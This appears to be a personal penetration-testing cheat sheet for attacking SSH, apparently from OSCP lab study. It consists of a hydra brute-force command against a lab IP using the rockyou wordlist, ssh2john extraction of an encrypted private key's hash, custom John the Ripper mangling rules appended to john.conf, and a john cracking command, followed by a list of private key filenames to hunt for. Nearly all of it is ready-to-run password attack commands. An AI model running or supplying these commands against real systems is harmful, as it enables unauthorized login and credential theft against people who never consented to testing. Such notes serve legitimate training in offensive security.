SSH <tcp 22>

Bruteforce with hydra in the background if you think you have a valid username, it will save you so much time.... trust me.

hydra -vV -l offsec -P ~/rockyou.txt 192.168.204.122 -I -t 10 ssh

Password protected ssh keys

ssh2john id_rsa > ssh.hash

$ vi ssh.rule
[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#

sudo sh -c 'cat /home/adot/oscp/course/misc/ssh.rule >> /etc/john/john.conf'

john --wordlist=./ssh.pass --rules=sshRules ssh.hash

id_rsa
id_ecdsa
id_ecdsa_sk
id_ed25519
id_ed25519_sk
id_dsa